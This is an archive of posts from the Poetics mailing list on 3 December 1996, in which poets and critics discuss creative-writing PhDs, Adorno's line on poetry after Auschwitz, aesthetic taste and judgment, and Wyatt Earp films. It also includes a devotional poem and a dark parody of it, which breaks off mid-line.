With Arthur Sze, John Yau recently coedited the fall/winter issue of The Asian Pacific American Journal (Volume 5, Number 2). Poems in Forbidden Entries have previously been published in American Poetry Review, Hambone, New American Writing, Shantih, Talisman, and Tea Leaves. They received received a Jerome Shestack Prize from APR and the Richard Hugo Memorial Award from CutBank (University of Montana).

The author's email: [redacted]

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100. Karl Richter
PHDS
Tue 3 Dec 1996

Hi,

I've enjoyed the discussion concerning the CW PhD, and I thought I'd try to provide some small insight as a poet pursuing such a degree; I'm currently working on a PhD with a creative dissertation in the English Dept at Texas Tech University, after earning an MFA from Sarah Lawrence.

First, I'd like to challenge the academy/"real world" dichotomy that Burt asserts. The assumption seems to be that those of us in the academy are trying to avoid the difficulties of life, when in actuality we're throat-deep in them. As Ron pointed out, being a graduate teaching assistant ain't exactly easy. And being involved in a university setting does not (necessarily) insulate one from the struggle to publish. I know of no writer enrolled in a graduate program who is not actively pursuing publication (shameless self-promotion: check out two of my poems in the forthcoming issue of Faultline, for instance). Also, perhaps ironically, my work in the university setting puts me in contact with many more non-"professional" writers (my students) than I suspect would be the case if my

community were, say, the Nuyorican crowd. Working with farm kids, first-generation Chicano students, etc., puts me closer in touch with "the real world" than I would be otherwise. So the idea that the academy is some kind of golden bubble is just wrong. At least here in West Texas, the University is the only place where the most diverse elements of the real world all come together.

A scam? Maybe. I'm here doing this because it's a living, I'm close to what I love (literature and writing), I'm getting some teaching experience (which is valuable in itself, whether I go on to a teaching career or not), and I have the time and support I need to put together my first collection. Also, and I think this is quite important, I just want a PhD. It's a goal, like publishing that first collection by the time I turn 30, that I want to achieve, just because it's as far as I can go academically. It's a challenge, like running a marathon. And I make no apologies for wanting to tackle it.

The pitfalls, of course, are those involved in CW instruction generally: prescriptive pedagogy, emphasis on the conventional, etc. But for the grad student/writer who is aware of these pitfalls, and who is plugged-in to the wider poetic community, they are not so difficult to avoid. A little personal integrity goes a long way.

Anyway, those are my two cents....

Karl Richter

[redacted]

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101. Aldon L. Nielsen
Re: one seize tastes all
Tue 3 Dec 1996

Kali -- Do you have a tape of the Oliveros -- Terry concert?

hope you listen to Brownie too!

but seriously folks -- what could be more exemplary of the solipsistic nature of most "taste" arguments than the argument we've been having here? If "one" cares not to examine the development of one's taste, then all one can say to some other one about it is some variation of "your poets suck -- mine are the greatest" the old hot stuff / diddley squat dichotomy -- must be very comforting to the taster, but doesn't do much for the tastees, or the tasted --

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102. Eryque Gleason
Re: after this
Tue 3 Dec 1996

---

i think you\re referring to theodore adorno's line that went something like "writing after auschwitz is barbaric". i'll look it up when i get home tonight. and actually, i think i read it at the top of an essay, maybe by ron s?

eryque

> now that's done with: > > can anyone please tell me as to who first said that there could be no > writing in the aftermath of the Holocaust? > > i know there's a direct (and quite possibly a very famous) quote as such, > that i've read somewhewre, but i can't for the life of me figure out where. > > thanx again and sorry if i've bungled ny of you up with this > itty-nitty-bitty query. > > laytahs, > manny savopoulos > "The more things resist me the more rabid I get." > -Samuel Beckett

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103. Pierre Joris
Re: after this
Tue 3 Dec 1996

---

ms wrote:

> *can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?*
>
> *i know there's a direct (and quite possibly a very famous) quote as such, that i've read somewhewre, but i can't for the life of me figure out where.*
>
> *laytahs,*
> *manny savopoulos*
> *"The more things resist me the more rabid I get."*
> *-Samuel Beckett*

That, manny, was Theodor Adorno who claimed that after Auschwitz it was no longer possible to write poetry (in fact, lets not be lazy & go to the shelves & locate the excat quote -- yes, here it is on the final page of the essay "Cultural Criticism and Society"(p. 34 of _Prisms_ MIT press 1988): "To write poetry after Auschwitz is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today." Of course, by that time Celan had already written the TODESFUGE, and in the camps themselves, people wrote poetry -- H.G. Adler comes to mind, off hand.

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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104. Eryque Gleason
Re: dialectics of coolness (fwd)
Tue 3 Dec 1996

chapman's article is kinda nifty and all, but like (i think it was maria?) said, it ain't particularly new, not even in light of computers &whotnot. i know thirteen year olds who have been bitching about the same phenomena since they were eleven.

e

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105. Pritchett,Pat
Re: Costner's Earp
Tue 3 Dec 1996

Dennis Quaid better as Doc Holiday than Val Kilmer? To quote a phrase of Kevin's: "you are tragically wrong." But hey, it's just a Western, ain't it?

I understand what you're saying about Costner's "Urp," but I think the filmmaker's intentions must be taken into account when weighing Costner contra Ford. Ford is really only concerned with myth, with sacred history, and reality for him finishes a distant second place. I always had a problem with the OK Corral shootout, for instance, in Ford's pic - it seems sloppy, not very tight in terms of spatial coordinates of the combatants, etc. Yet the last time I saw it (a few weeks ago) I found my old complaint withering. The tension of the scene and its satisfactions derive more from the ritual of the fight than with the usual chase/suspense theatrics. In this sense, it has more in common with something

like classical Japanese drama (though admittedly that's a stretch since I don't know beans about Noh or Kabuki).

I find Nietzche's categories useful (from _Use & Abuse of History_): the monumental, or mythic (Ford), the antiquarian, and the critical or ironic (the last two being Costner's Earp). Costner & Kasdan (the director) were deliberately trying to debunk/revise the Earp myth, which all started with a 1931 book called "Wyatt Earp: Frontier Marshall." I can't remember if they showed this in the film, but the real Earp eventually moved to LA and was arrested for a variety of bunco schemes c.1909. None of them were nice guys and evidently were in the law & order biz only as way of protecting their gambling interests. But Ford was aware of this mythologizing process, too, as he showed in "Liberty Valance."

Best,
Patrick Pritchett

PS - I actually like that Homeric list of ships a great deal.

From: Michael Boughn
To: POETICS
Subject: Costner's Earp
Date: Tuesday, December 03, 1996 8:01AM

I just wanted quickly to disagree with Kevin over Costner's Earp, which I thought much more interesting than Tombstone, precisely because of the overload of details which added to it's epic qualities. Maybe that's the difference--Tomstone went for the "mythic" (archetypal narrative) whereas Wyatt Earp went for the "epic" (if you think the details in the movie were bad, I guess you don't much care for the catalog of ships in the Iliad).

I don't know of any other treatment of the story that so emphasizes the Earp's as businessmen for whom the policing was just a way to bring in some cash till their family enterprises got going. My Darling Clementine, for all it's visual beauty, was laughable in terms of it's treatment of the narrative details of the legend.

Anyway, Dennis Quaid was much better as Doc Holliday than Val Kimer.

Mike
[redacted]

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106. Christina Fairbank Chirot

Re: Cendrars lives! and European Westerns

Tue 3 Dec 1996

There should be many more such manuscripts. Cendrars frequntly alluded to mysterious trunks and bundles of his writing hidden the world over. (Isn't it in Brazil where there are supposedly concealed twelve volumes of a certain work . . .) UCal P has a good book out of Cendrars' Hollywood writings--although as another well known rapscallion might warn those quick to doubt the words of M. Blaise: "honi soit qui mal y pense" from l'Or--made into Sutter's Gold--directed by James Cruze--who also did the classic Covered Wagon: " The trail stretches for thousands of miles. Strung along it at intervals of a hudred miles are wooden forts . . . Their garrisons are continually on the alert. War with the Redskins is a war of atrocities. No quarter! Woe to the hapless party that falls into an ambuscade of the scalp hunters. Suter has no hesitation. Mounted on his mustang, Wild Bill, he gallops in the van of his concoy, whistling an air from The Carnival of Basle between his teeth. His memory gos back to the little urchin at Runenberg to whom he had given his last thaler. He reins in his horse. 'Heads or tails'. The doubloon spins towards heaven like a mounting lark. Heads to win. Tals to lose. It falls flat upon his open palm. Heads! He spurs his horse forwards, full of a new confidenc. This was his first hesitation. It will be his last. From now on--forward to the goal . . . "All that Suter has gained in four years of American life is this half-breed circus dog who walks on his hind legs and smokes a pipe with the sailors." A good double feature: Sutter's Gold with von Stroheim's GREED

On Tue, 3 Dec 1996, Pierre Joris wrote:

> *Good news on the day they discovered ice on the moon: a copy of a longish (16 pages) poem by Blaise Cendrars called "The legend of Novgorod" & published in an edition of 14 copies in Moscow in 1907 under his real name (Frederic Sauser) has just been found in a secondhand bookstore in Sofia. It will be published in France by Fata Morgana with a preface by Cendrars daughter, Miriam Cendrars. Ron Padgett, to work!*
>
> *Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:*[redacted]
> *http://writing.upenn.edu/epc/authors/joris/*
> *http://www.albany.edu/~tm0900/nomad.html*
> *----------*
> *"A book has to be the axe for the frozen sea inside us.*
> *This I believe."*

> *(Kafka, Letter to Oskar Pollack 27 Jan 1904)*
> ==========

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107. **DS**
Re: taste, judgment, etc...
Tue 3 Dec 1996

There you go Maria...

At 11:22 AM 12/3/96 -0600, you wrote:
>>what is LOT?
>>
>>At 12:45 AM 12/3/96 -0800, you wrote:
>>>>what are jetskis?
>>>
>>>People who work for LOT
>>>
>>>
>>>
>
>
>Polish national airline.
>
>----------
>Judy Roitman | "Glad to have
>Math, University of Kansas | these copies of things
>Lawrence, KS 66045 | after a while."
>[redacted] | Larry Eigner, 1927-1996
>----------
>
>

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108. **Jeremy F Green**
Re: after this
Tue 3 Dec 1996

On Tue, 3 Dec 1996, ms wrote:

>
> can anyone please tell me as to who first said that there could be no
> writing in the aftermath of the Holocaust?

>
> i know there's a direct (and quite possibly a very famous) quote as such,
> that i've read somewhewre, but i can't for the life of me figure out where.
>
Adorno said this--or similar versions--in a number of places. To hand, 'Cultural Criticism and Society' in _Prisms_ trans. by Samuel and Shierry Weber (Cambridge, Mass.: MIT Press, 1990; first publd. 1967), page 34: 'Cultural criticism finds itself faced with the final stage of the dialectic of culture and barbarism. To write poetry after Auschwitz is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today. Absolute reification which presupposed intellectual progress as one of its elements, is now preparing to absorb the mind entirely. Critical intelligence cannot be equal to this challenge as long as it confines itself to self-satisfied contemplation.'

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109. Steve Evans
Re: after this
Tue 3 Dec 1996

Adorno did reconsider his famous statement in "Cultural Criticism and Society," most strikingly in the following passage from the section of _Negative Dialectics_ called "After Auschwitz":

Perennial suffering has as much right to expression as a tortured man has to scream; hence it may have been wrong to say that after Auschwitz you could no longer write poems. But it is not wrong to raise the less cultural question whether after Auschwitz you can go on living--especially whether one who escaped by accident, one who by rights should have been killed, may go on living. His mere survival calls for the coldness, the basic principle of bourgeois subjectivity, without which there could have been no Auschwitz; this is the drastic guilt of him who was spared. (362-63)

And a few pages later:

All post-Auschwitz culture, including its urgent critique, is garbage. In restoring itself after the things that happened without resistance in its own countryside, culture has turned entirely into the ideology it had been potentially-- had been ever since it presumed, in opposition to material existence, to inspire that existence with the light denied it by the separation of mind from manual labor. Whoever pleads for the maintenance of this radically

culpable and shabby culture becomes its accomplice, while the man who says no to culture is directly furthering the barbarism which our culture showed itself to be. (367)

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110. Michael Boughn
Re: one seize tastes all
Tue 3 Dec 1996

> *but seriously folks -- what could be more exemplary of the solipsistic nature of most "taste" arguments than the argument we've been having here? If "one" cares not to examine the development of one's taste, then all one can say to some other one about it is some variation of "your poets suck -- mine are the greatest" the old hot stuff / diddley squat dichotomy -- must be very comforting to the taster, but doesn't do much for the tastees, or the tasted --*

This is a bit reductive, Aldon, tho Wystan's introduction of the word "taste" certainly leaves his argument open to your criticism. My own sense is that beneath the diction is a proposal along the lines of what Olson argues in _Special View of History_ and elsewhere (I think in the piece on history in _Muthologos_) as the difference between Thucydides and Herodotus--the "objective" reporting of "events" or what Olson loved to translate from 'istorin--to find out for oneself.

Mike
[redacted]

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111. Judy Roitman
Re: taste, judgment, etc...
Tue 3 Dec 1996

> *there are corresponding acts of faith associated with coming to the alphabet, to any meaning-making enterprise...*
>
> *joe amato*

Ah, the alphabet. As the mom of dyslexic -- faith, you bet. Also, out there in philosophy-of-language-land, theories about alphabet as alienating, intrinsically. See, e.g., David Abram's The Spell of the Sensuous. (There was a short thread on this a while back.)

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things

Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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112. Eliza McGrand- CVA Guest

taste, everyday, and the tools of the master

Tue 3 Dec 1996

---

i've been following the taste thread with great interest for a pretty obvious reason, but i'll state it anyway: at 35 yrs old, i've had an absolute, unshakeable opinion of the awfulness of something in fact, shaken, enough times that i do, as kali states, want very much to know WHY i like, or don't like something.

one thing i've found true disconcertingly often is that when i don't like something, and don't know quite why, it is because the work sounds like something i myself wrote a while back, or even, horrors, recently. and now i'm hearing it from the outside, it is WRONG WRONG WRONG and if i admit that explicitly, why it is wrong, etc., then i have to admit i wrote something dopey and god help us all, i might even have published it.

admit it. you ALL know EXACTLY what i am talking about, the 2 a.m horrors when you say "oh my god, every single poem in that magazine was thoroughly dreadful for X reason, and my poem fit RIGHT IN!

ACKKHHHGHGHGHGHHHHHH!!!!

ok, that skeleton is out of closet.

here comes the next. sometimes, i read a poem or short story and get restless and bored and irritated because i can't follow it. this has happened with enough certified "greats" (all right, you want names oh interrogator, here: faulkner. yes, i am one of those people who can't stand reading faulkner. nabokov. mailer (oh, he is SUCH a chauvanist turd i take that back. it is PERFECTLY understandable not to be able to stand his writing. the executioners song was a fluke). finnegan's wake) that i just accept that my "taste," i.e. "what i like," is not infallible.

also, sometimes if i am trying hard, and ask around, i'll find something someone says that can help me open up to what i am having trouble reading. as with crime and punishment, joyce's ulysses, poems of richard hugo and Elizabeth Bishop.

but to the meat of this too-long post, my most prominent day-to-day struggle with "taste" occurs in my work as editor and reader-of-poetry- for-friends. i work with a journal. the current issue has, for me, seven YES! 's (one a YES

YES!), three UCK's, and four OK's. now, we've had issues where every single thing in it is a YES from my standpoint. only, i'm an assistant editor here, my editor has a standpoint that is close to, but not always, my own. and our readers have standpoints. and the poetics list has standpoints, as do my "writer/literature" friends (friends who write, or anyway, read), all of whom stand in a chorus behind me interrogating MY TASTE as well they should because on occasion they've made me open \ my tribe of "in-my-taste" up. (ps. kali, re choice of examples, i chose opera and classical music (mostly) because it helped make the example clearer, not because i think classical practitioners (be it of music, dance, etc) are the only only possible "virtuosos." after all, the chieftans, whom i mention to illustrate that within the class of "virtuoso" there are other than classical practioners, are an irish folk/instrumental, blazingly good band. clearly the mixup was, however, a flaw in my example-giving process).

in my everyday, there are some works we get submitted to the magazine that i just plain hate (the works, not necessarily (though sometimes) the authors) because they are amateurish, clumsily manipulative, arrogant in their cramming in of big latinate words and literary references while at the same time making really foolish, give-away mistakes (i think of these as the school of "if i use enough big, intimadating words and references, no one will actually parse out the poem well enough to realize that i can't string together a thought or phrase, much less an original thought or phrase" writers. boy they piss me off.), and/or hallmark-y sentimental. and, nods to kali, i KNOW just why i don't like them. i don't like things that are claiming, by being sent out to publication (often accompanied by letters demanding recognition) to be something they are not (skillful, thoughtful, worked at, crafted (sorry joe, if there was a better word i'd use it -- well made sounds too like the urn), dense, knowledge-based -- knowledge which can come from university, academic, life, and a wide and possibly idiosyncratic course of reading).

sometimes, though, even when i know why i hate something (X author is a chauvinist, macho pig or Y author keeps using the word "[word]" in all their poems), the actual writing is good, perhaps the writer has done alot of interesting things even if i hate their viewpoint, or if i make myself take each poem on its individual, not-connected-to anything-i-know-about-author-or-author's-work, reading, it is ok. and so on.

point is, a magazine with some works in i'm not crazy about might not be a bad thing. i suspect i might well have "violent narrow taste" and that something i hate now, i might be able to like in a few months, or years. i also like the sense of community, where not every voice is saying things the i want said the way i want them said. i DO draw a line at rotten poems (hallmark-y; poems that use phrases and images from a million other bad poems without any idea that they

aren't original; god help us the poems that will, by any means necessary, rhyme -- if i NEVER AGAIN read the two words "dew" and "you" coupled with stumbling meter in a poem it will be too soon!!!).

i still argue with myself over WHY i didn't -- or DID -- like various movies or poems or short stories. i stumble hardest and write from the smallest, least productive hole, when i dismiss works and don't try to make sure i know what and why i'm dismissing.

which brings me to a long-ago expressed opinion, again valid here. there exists such a rich cumulative load of literature, at the same time as a typically patriarchal emphasis on "mastering" text -- all text, every single last quivering paragraph and semicolon. the two combine into a lethal critical approach i call the criticism of dismissal. if texts can be dismissed ("oh, X author is one of the Z's, too obsessed with result at the expense of process/with the continuity of history as opposed to the dialogue of the historical/blah blah blah") then the dismisser, the MASTER, does not have to read them, or know them. in other words, since no loud-talking MASTER of text can possibly have read every single work of literature since the beginning of preservation of texts (nor can anyone else, master or not), if one wants to adopt the pose of MASTER of the text universe, one must come up with some ground clearing expedient. the criticism of dismissal is just such an expedient.

of course, both bring into question "taste" -- but i'm questioning not so much the criteria used for "taste" as the motivation.

e

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113. IMBURGIA
A Poem to Share;
Tue 3 Dec 1996

EARTH SONG

BLESSED EARTH, ALL MY SENSES ARE AROUSED BY YOUR FRAGRANT BREATH-- i LIE UPON YOU AND YOU EMBRACE ME WITH YOUR VIBRANCY-- I FEEL YOUR CLOSENESS AND REVEL IN YOUR BEAUTY--YOUR FOREST CREATURES DANCE AND SING WITH ABANDON ALL AROUND ME AND I ABSORB THEIR FREEDOM AND THEIR JOY. MY SPIRIT SOARS THE VAST BLUE HEAVENS WITH THE WINGED ONES AND THE SPARKLING SUNLIGHT WARMS MY HEART. I ARISE, MY BAREFEET CARESS YOUR MOSSY PATHWAYS AND I WALK QUIETLY TO YOUR TREE LINED SHORE. I EAGERLY RUN AND JUMP INTO YOUR CRYSTAL WATERS AND MY SOUL IS REFRESHED. THE CHILD IN ME LAUGHS AND PLAYS WITH GENTLE WAVES

AND SUNKISSED RIPPLES. I AM ALIVE AND HAPPY AND FREE. THE WOMAN IN ME SENSES YOUR PRESENCE--I AM NOT ALONE. YOU CREATED ALL OF THIS FOR ME, FOR ALL YOUR CHILDREN AND THE CREATURES THAT DELIGHT THEM. YOU LOVE US SO MUCH AND SHARE IN OUR JOY AT EACH FRESH DISCOVERY. THANK-YOU MY CREATOR FOR THE FULNESS OF BLESSINGS YOU'VE GIVEN ME. LET ME LIVE TO SHARE THE DEPTH OF YOUR LOVE WITH EVERYONE I MEET. GRANT THAT OTHERS MIGHT TRULY KNOW YOU AS I DO THRU YOUR CREATION. LET THEM SEE IT AS A MAGNIFICENT REFLECTION OF THE ONE WHO MADE IT ALL.

BY , SPIRITDOVE

(LYNDA IMBURGIA)

3/20/87

@

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114. Eliza McGrand- CVA Guest

taste, writing, and the tools of the master

Tue 3 Dec 1996

---

i've been following the taste thread with great interest for a pretty obvious reason, but i'll state it anyway: at 35 yrs old, i've had an absolute, unshakeable opinion of the awfulness of something in fact, shaken, enough times that i do, as kali states, want very much to know WHY i like, or don't like something.

one thing i've found true disconcertingly often is that when i don't like something, and don't know quite why, it is because the work sounds like something i myself wrote a while back, or even, horrors, recently. and now i'm hearing it from the outside, it is WRONG WRONG WRONG and if i admit that explicitly, why it is wrong, etc., then i have to admit i wrote something dopey and god help us all, i might even have published it.

admit it. you ALL know EXACTLY what i am talking about, the 2 a.m horrors when you say "oh my god, every single poem in that magazine was thoroughly dreadful for X reason, and my poem fit RIGHT IN!

ACKKHHHGHGHGHGHHHHHH!!!!

ok, that skeleton is out of closet.

here comes the next. sometimes, i read a poem or short story and get restless and bored and irritated because i can't follow it. this has happened with enough certified "greats" (all right, you want names oh interrogator, here: faulkner. yes, i am one of those people who can't stand reading faulkner. nabokov. mailer (oh, he is SUCH a chauvanist turd i take that back. it is

PERFECTLY understandable not to be able to stand his writing. the executioners song was a fluke). finnegan's wake) that i just accept that my "taste," i.e. "what i like," is not infallible.

also, sometimes if i am trying hard, and ask around, i'll find something someone says that can help me open up to what i am having trouble reading. as with crime and punishment, joyce's ulysses, poems of richard hugo and Elizabeth Bishop.

but to the meat of this too-long post, my most prominent day-to-day struggle with "taste" occurs in my work as editor and reader-of-poetry- for-friends. i work with a journal. the current issue has, for me, seven YES! 's (one a YES YES!), three UCK's, and four OK's. now, we've had issues where every single thing in it is a YES from my standpoint. only, i'm an assistant editor here; my editor has a standpoint that is close to, but not always, my own. and our readers have standpoints. and the poetics list has standpoints, as do my "writer/literature" friends (friends who write, or anyway, read), all of whom stand in a chorus behind me interrogating MY TASTE as well they should because on occasion they've made me open my tribe of "in-my-taste" up. (ps. kali, re choice of examples, i chose opera and classical music (mostly) because it helped make the example clearer, not because i think classical practitioners (be it of music, dance, etc) are the only only possible "virtuosos." after all, the chieftans, whom i mention to illustrate that within the class of "virtuoso" there are other than classical practioners, are an irish folk/instrumental band and as blazingly good, i.e. virtuosos, as a BSO musician. clearly the mixup was, however, a flaw in my example-giving process).

in my everyday, there are some works we get submitted to the magazine that i just plain hate (the works, not necessarily (though sometimes) the authors) because they are amateurish, clumsily manipulative, arrogant in their cramming in of big latinate words and literary references while at the same time making really foolish, give-away mistakes (i think of these as the school of "if i use enough big, intimidating words and references, no one will actually parse out the poem well enough to realize that i can't string together a thought or phrase, much less an original thought or phrase" writers. boy they piss me off.), and/or hallmark-y sentimental. and, nods to kali, i KNOW just why i don't like them. i don't like things that are claiming, by being sent out for publication (often accompanied by letters demanding recognition) to be something they are not (skillful, thoughtful, worked at, crafted (sorry joe, if there was a better word i'd use it -- well made sounds too like the urn), dense, knowledge-based -- knowledge which can come from academia, normal life, and a wide and possibly idiosyncratic course of reading).

sometimes, though, even when i know why i hate something (X author is a chauvinist, macho pig or Y author keeps using the word "[word]" in all their poems), the actual writing is good -- the writer has done alot of interesting things even if i hate their viewpoint, or if i make myself take each poem on its individual, not-connected-to anything-i-know-about-author-or-author's-work, reading, it is well-written. and so on.

point is, a magazine with some works in i'm not crazy about might not be a bad thing. i suspect i might well have "violent narrow taste" and that something i hate now, i might be able to like in a few months, or years. i also like the sense of community, where not every voice is saying the things i want said the way i want them said. i DO draw a line at rotten writing in the magazine (hallmark-y; poems that use phrases and images from a million other bad poems without any idea that they aren't original; god help us the poems that will, by any means necessary, rhyme -- if i NEVER AGAIN read the two words "dew" and "you" coupled with stumbling meter in a poem it will be too soon!!!). i help produce a magazine, a finite space, thus there must be some narrowing out.

i still argue with myself over WHY i didn't -- or DID -- like various movies or poems or short stories. as a writer, i know i stumble hardest and write from the smallest, least productive hole, when i dismiss works and don't try to make sure i know what and why i'm dismissing.

which brings me to a long-ago expressed opinion, again valid here. there exists such a rich cumulative load of literature, at the same time as a typically patriarchal emphasis on "mastering" text -- all text, every single last quivering paragraph and semicolon. the two combine into a lethal critical approach i call the criticism of dismissal. if texts can be dismissed ("oh, X author is one of the Z's, too obsessed with result at the expense of process/with the continuity of history as opposed to the dialogue of the historical/blah blah blah") then the dismisser, the MASTER, does not have to read them, or know them. in other words, since no loud-talking MASTER of text can possibly have read every single work of literature since the beginning of preservation of texts (nor can anyone else, master or not), if one wants to adopt the pose of MASTER of the text universe, one must come up with some ground clearing expedient. the criticism of dismissal is just such an expedient.

of course, both bring into question "taste" -- but i'm questioning not so much the criteria used for "taste" as the motivation.

e

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115. Kali Tal
Re: after this
Tue 3 Dec 1996

On Tue, 3 Dec 1996, ms wrote:

> *can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?*

wish i could remember exactly (though i know that the irony is that it's one of the holocaust *writers*), but you can find the reference in Alvin H. Rosenfeld, ed., _Confronting the Holocaust: The Impact of Elie Wiesel_. It *wasn't* Wiesel...

Kali Tal
Sixties Poject & Viet Nam Generation, Inc.
http://jefferson.village.virginia.edu/sixties
[redacted]

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116. Aldon L. Nielsen
Re: one seize tastes all
Tue 3 Dec 1996

it was precisely the reductiveness that I was responding to --

Nothing wrong at all with "finding out for oneself" -- MUCH wrong, to my view, with the refusal, on grounds of "taste" or otherwise, to come to grips with aesthetic differences -- The refuge of "taste" is, I think, most often a refusal indeed to find out for oneself -- It's certainly a refusal to put one's findings to the test of contact with the findings of others -- Pound and Olson, no matter how narrow there focus could at time be, didn't seem to me to be reluctant to spell out the supposed gounds of their judgements (Though they were sometimes prone not to attend closely to those who dispute their grounds)

"Their" above, up there

I do not have the particular sets of aesthetic judgements I have in my head simply because I inhaled them, helplessly (and that doen't at all seem to be what Kali was saying either) -- but they're certainly the result of interactions with some specifiable social strutucres -- and my reactions against those structures are as discussable as what I gathered from them --

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117. Kali Tal
Re: after this
Tue 3 Dec 1996

On Tue, 3 Dec 1996, Pierre Joris wrote:

> *ms wrote:*
>
> *That, manny, was Theodor Adorno who claimed that after Auschwitz it was no longer possible to write poetry (in fact, lets not be lazy & go to the shelves & locate the excat quote -- yes, here it is on the final page of the essay "Cultural Criticism and Society"(p. 34 of _Prisms_ MIT press 1988): "To write poetry after Auschwitz is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today." Of course, by that time Celan had already written the TODESFUGE, and in the camps themselves, people wrote poetry -- H.G.*

Yah, Primo Levi wrote Holocaust poetry too. And I'd forgotten it was Adorno who said that it was impossible to write poetry after the Holocaust. When I was researching the section of my book which deals with Holocaust literature/criticism, though, I was amazed at how many of the Holocaust writers alternated between feeling compelled to write about their experiences and feeling that it was absolutely impossible to write about their experiences. The Rosenfeld volume I mentioned contains a number of references to this dilemma.

Kali

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118. Kali Tal
Re: taste, judgment, etc...
Tue 3 Dec 1996

Patrick Foley asks for whom or for what is it a problem when people refuse to interrogate the cultural structures which contain and shape their tastes.

It's traditionally a problem for oppressed minorities when the members of the majority culture refuse to interrogate those cultural structures. It's also a problem for working class cultures when elites refuse to do it. It's a problem for women when men refuse to do it. In other words, "taste" is usually determined and enforced by people with the power to determine and enforce it. The "taste economy"--as wystan puts it--is controlled by the taste capitalists, those who have control of the means of taste production (publishing industries, film industries, art industries). One can either have tastes which conform to the defined norms of "good" and "bad," or one can rebel against those norms, but it's impossible to imagine taste which is not influenced by those norms one way

or another (unless one postulates some "essential" or "inherent" standards of judgement which people are born with).

And, if wystan had in mind the sort of tastes Pound expressed--"violent narrow tastes," well, that doesn't seem to me a good example of the sort of taste that is *not* related to a distinct set of cultural values. Can you count Pound's politics as unrelated to his poetry? I can't.

I don't use Derrida (and so I don't think I count as one of the folks who misconstrues his idea of context). Context, to me, is the location of a work on a variety of axes. I draw my ideas of context from the feminist and African Americanist theorists--Joan Cocks, Barbara Johnson, Mary Helen Washington, and so on. They argue that nothing is ever "one thing at a time," but is always "many things at once." This means that when I read a poem, I care about the form of the poem, the content of the poem, the manner in which the poem refers to or signifies upon other texts, the background of the author, the voiced intent of the author, the way the author is read by others, the historical context in which the poem is written, the manner in which it is packaged and produced, and on and on. This is hardly an insistance on the "impersonal machinery of history molding our tastes." Instead it's an attempt to locate our tastes within a complex cultural space. But, yes, "all we can do is interrogate these structures" if we are not going to be inextricably bound by them. I see interrogation as the gateway to freedom, whereas you seem to see it as confinement.

Every consciously "avant-garde" movement I can think of theorized itself simultaneously with (or even previous to) the production of its art. It's only the writers whose tradition is so well-understood as to be invisible who believe that their work should go without saying, that taste is somehow "natural" or "innate." And of course poets are "manipulating cultural structures per se." What *else* could they be/would they be doing? (Unless, of course, you care to divorce art from culture entirely.) The whole content of the other ongoing thread about creative writing Ph.D. programs is exactly about the ways in which poets working within cultural contexts manipulate cultural structures.

I think that the way I approach poetry specifically does *not* confuse forests with trees, but locates specific trees within specific forests and allows comparisons between kinds of trees and kinds of forests. If you want an example of exactly how I do this, with one poet in particular, you can take a look at my chapter, "The Farmer of Dreams: W.D. Ehrhart" in my book, _Worlds of Hurt: Reading the Literatures of Trauma_. If you think, after reading it, that I somehow short Ehrhart as an "artist," I'd be interested in hearing about it.

Kali Tal
Sixties Poject & Viet Nam Generation, Inc.

http://jefferson.village.virginia.edu/sixties
[redacted]

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119. **Pritchett,Pat**
Re: one seize tastes all
Tue 3 Dec 1996

It was the other Wystan (Auden) who made the distinction between taste and judgment and allowed as how the former should not impede the latter. I may not be enthralled with say, _Naked Lunch_, but if I'm not, I ought not to let my distaste for it affect my judgment of its accomplishments (or lack thereof). Similarly, my affection for a work shouldn't blind me to its aesthetic/political/cultural faults, as for instance with the recently stated liking by some, myself included, for John Wayne. Inversely, my wife can't abide Frank Sinatra b/c he was (is) such a nasty little shit to people. I understand, but I still say it's her loss.

Patrick Pritchett

From: Aldon L. Nielsen
To: POETICS
Subject: Re: one seize tastes all
Date: Tuesday, December 03, 1996 6:11PM

it was precisely the reductiveness that I was responding to --

Nothing wrong at all with "finding out for oneself" -- MUCH wrong, to my view, with the refusal, on grounds of "taste" or otherwise, to come to grips with aesthetic differences -- The refuge of "taste" is, I think, most often a refusal indeed to find out for oneself -- It's certainly a refusal to put one's findings to the test of contact with the findings of others -- Pound and Olson, no matter how narrow there focus could at time be, didn't seem to me to be reluctant to spell out the supposed gounds of their judgements (Though they were sometimes prone not to attend closely to those who dispute their grounds)

"Their" above, up there

I do not have the particular sets of aesthetic judgements I have in my head simply because I inhaled them, helplessly (and that doen't at all seem to be what Kali was saying either) -- but they're certainly the result of interactions with some specifiable social strutucres -- and my reactions against those structures are as discussable as what I gathered from them --

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120. Jeffrey W. Timmons

A Poem/Scare...

Tue 3 Dec 1996

(apologies before hand: hope this dont offend--sometimes i just cant help my self.... been reading too much baudelaire and rimbaud lately i guess. mea culpa.)

A Poem/Scare

godforsaken EARTH
MY SENSES denuded
BY polluted BREATH--
i LIE
UPON YOU in sin
EMBRACEd WITH sickness--
YOUR wretched CLOSENESS
YOUR obscene BEAUTY--
YOUR nake FOREST
skeletal CREATURES
ABANDONed ALL:
I ABSORB THEIR FREEDOM AND JOY.

MY captive SPIRIT
blasts THE VAST BLUE
WITH deWINGED angels
darkLING nIGHT blinds
MY miserable HEART.

obedient FEET
tramel YOUR glass-strewn PATHWAYS
I run madly
TO YOUR barren TREE-LINED SHORE.

I suicidally RUN AND JUMP
IN CRYSTAL-razor WATERS--
MY SOUL IS oppressed.

THE abused CHILD IN ME
cries WITH GENTLE WAVES--
bruised RIPPLES.

I AM dead AND FREE.

THE WO/MAN IN ME SENSES
YOUR intruding PRESENCE--
I AM NOT ALONE.

YOU deCREATED ALL THIS
FOR ME--selfish me--
FOR ALL YOUR CHILDREN
AND CREATURES debased herein.

YOU despise US SO MUCH
refuse OUR JOY
AT EACH FRESH DISCOVERY.

f**K-YOU MY deCREATOR
FOR THE aberration
OF BLESSINGS
YOU'VE GIVEN ME.

LET ME die
TO abhor THE DEPTH
